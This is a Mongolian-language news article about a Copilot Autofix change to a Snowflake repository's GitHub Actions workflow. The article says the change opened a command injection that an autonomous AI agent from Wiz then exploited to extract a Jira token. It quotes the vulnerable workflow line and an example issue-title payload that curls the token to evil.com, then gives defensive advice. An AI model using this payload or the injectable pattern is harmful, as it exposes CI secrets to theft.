AI-ийн бичсэн аюулгүй байдлын засвар Snowflake-ийг хакердуулах шалтгаан болов: AI vs AI шинэ эрин эхэллээ
Программ хангамжийн аюулгүй байдлын ертөнцөд түүхэн эргэлтийн цэг тохиолоо. Хиймэл оюун ухааны санал болгосон автомат кодын засвар (Autofix) нь системд ноцтой аюулгүй байдлын цоорхой үүсгэж, тэрхүү цоорхойг нь хүний оролцоогүйгээр ажилладаг өөр нэг autonomous AI агент олж илрүүлэн мөлжсөн (exploit) явдал гарлаа.
Аюулгүй байдлын судалгааны Wiz Research баг Snowflake-ийн олон нийтэд нээлттэй репозиторт гарсан уг халдлагын тайланг дэлгэж, хөгжүүлэгчдийн нийгэмлэгт томоохон дохио өглөө. Энэ нь AI хэрэгслүүдэд сохроор найдах нь ямар эрсдэлтэй болохыг төдийгүй CI/CD орчин дахь аюулгүй байдлын шинэ сорилтыг тод харуулж байна.
Яг юу болсон бэ?
Хэрэг явдал Snowflake-ийн албан ёсны нээлттэй эх бүхий snowflake-connector-net репозитор дээр өрнөсөн юм.
- AI-ийн засвар: GitHub Advanced Security-ийн бүрэлдэхүүн болох GitHub Copilot Autofix нь CodeQL анхааруулгыг засах зорилгоор
.github/workflows/jira_issue.ymlфайлд өөрчлөлт оруулах Pull Request-ийн хамтран зохиогч (co-author) болжээ. - Цоорхой үүссэн нь: Харамсалтай нь уг засвар нь өмнө нь ажиллаж байсан найдвартай аюулгүй бүтцийг устгаж, оронд нь гадны хэрэглэгчийн оруулсан өгөгдлийг шууд shell скрипт дотор задлан ажиллуулах (Template/Command Injection) аюултай кодыг үлдээсэн байна. Уг PR-ийг хөгжүүлэгчид нарийн шалгалгүйгээр merge хийсэн аж.
- AI халдлага: Үүнээс ердөө 5 хоногийн дараа Snowflake-ийн HackerOne bug bounty хөтөлбөрийн хүрээнд ажиллаж байсан Wiz компанийн бие даасан Wiz Red Agent нэртэй AI систем уг цоорхойг илрүүлж, ашиглан Snowflake-ийн дотоод Jira орчны нууц түлхүүрийг (Jira API Token) GitHub Actions runner-аас амжилттай татаж авчээ.
Энэ бүх халдлага болон мөлжлөг нь хүний шууд оролцоогүйгээр, минутын дотор хийгдсэн нь хамгийн их анхаарал татаж байна.
Техникийн задлан шинжилгээ: Copilot хаана алдав?
GitHub Actions дээр issues: opened триггер нь олон нийтийн репозитор дээр хэн дуртай хүнд workflow-г ажиллуулах боломж олгодог.
Уг репозиторын өмнөх бүтэц нь хэрэглэгчийн бичсэн Issue-ийн гарчгийг (Title) env: хувьсагчаар дамжуулан jq --arg ашиглан аюулгүй боловсруулдаг байв. Гэтэл Copilot-ийн дэмжлэгтэй хийгдсэн шинэ засвар нь уг аюулгүй бүтцийг арилгаж, дараах хэлбэрээр шууд inline script expansion хийжээ:
# Эмзэг байдал үүсгэсэн кодын жишээ
TITLE=$(echo "${{ github.event.issue.title }}" | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
Энд ${{ github.event.issue.title }} нь GitHub Actions runner скриптийг bash дээр ажиллуулахаас өмнө текстээр орлуулагддаг. Халдагч GitHub Issue үүсгэхдээ гарчиг дээр нь $(curl evil.com/exfil?token=$JIRA_TOKEN) гэх мэт хортой команд бичихэд л уг workflow шууд тухайн командыг shell дээр эрхтэйгээр биелүүлнэ.
sed командаар тэмдэгтүүдийг хаах (escape) оролдлого хийсэн ч bash interpolation нь sed ажиллахаас бүр өмнө хийгддэг тул энэ нь ямар ч хамгаалалт болж чадаагүй юм.
AI vs AI: Шинэ эриний аюулгүй байдлын дүр зураг
Энэхүү явдал хөгжүүлэгчдэд хэд хэдэн чухал дохиог өгч байна:
- Automation Bias (Автоматжуулалтад сохроор итгэх): Хөгжүүлэгчид AI-ийн санал болгосон "Autofix"-ийг хараад "систем өөрөө алдаагүй зассан байх" гэж найдан PR-ийг хялбархан approve хийдэг сэтгэл зүй түгээмэл болжээ. AI нь функционал байдлаар ажиллах код бичиж чадах ч логик болон контекстийн нарийн аюулгүй байдлыг алдах өндөр магадлалтай.
- Машины хурдаар явагдах халдлага: Уламжлалт аргаар бол цоорхой үүссэнээс хойш сарын дараа pentest хийгдэх эсвэл хэн нэгэн гараар олох хүртэл аюулгүй байж магадгүй байв. Харин орчин үеийн LLM-д суурилсан Red Team агентууд бүх нээлттэй эхийн репозиторууд болон CI/CD файлуудыг 24/7 тасралтгүй скандаж, минутын дотор PoC (Proof of Concept) бэлтгэж байна.
- CI/CD нь халдлагын үндсэн талбар боллоо: Хөгжүүлэгчид аппликейшний кодоо (Backend, Frontend) сайтар шалгадаг мөртлөө
.github/workflows/*.ymlтохиргооны файлуудыг ердийн скрипт төдийгөөр хардаг. Гэтэл эдгээр workflow нь cloud credential, deployment token зэрэг байгууллагын хамгийн чухал нууцуудыг атгаж байдаг.
Хөгжүүлэгчид пайплайнаа хэрхэн хамгаалах вэ?
Хэрэв та GitHub Actions ашигладаг бол дараах дүрмүүдийг өнөөдрөөс эхлэн баримтлаарай:
- Context-ийг
run:дотор шууд хэзээ ч битгий задал: Гаднаас ирж болох бүх утгыг (issue.title,issue.body,head_refг.м) заавалenv:блокоор дамжуулж тусдаа хувьсагч болго:- name: Process Issue env: ISSUE_TITLE: ${{ github.event.issue.title }} run: | echo "$ISSUE_TITLE" - Статик шинжилгээний тусгай хэрэгсэл ашигла: GitHub Actions-ийн алдаа дутагдлыг илрүүлдэг
zizmorэсвэлactionlintзэрэг зориулалтын linter-үүдийг өөрийн CI дээрээ заавал ажиллуул. - Хамгийн бага эрхийн зарчим (Least Privilege): Workflow болон job бүрт зөвхөн шаардлагатай
permissions:-ийг өгч, илүүдэл token, secret-үүдийг хүрээлэн буй орчинд бүү зарла. - AI-ийн PR-ийг танихгүй хүний код мэт шалга: Copilot эсвэл ямар нэг AI агентын нээсэн PR, санал болгосон патчийг багийн шинэхэн junior хөгжүүлэгчийн бичсэн код шиг нухацтай хянаж байж нэгтгэх хэрэгтэй.
Эх сурвалж: Wiz Research, Hacker News, Snowflake Security Advisory
Сэтгэгдэл
Ачаалж байна...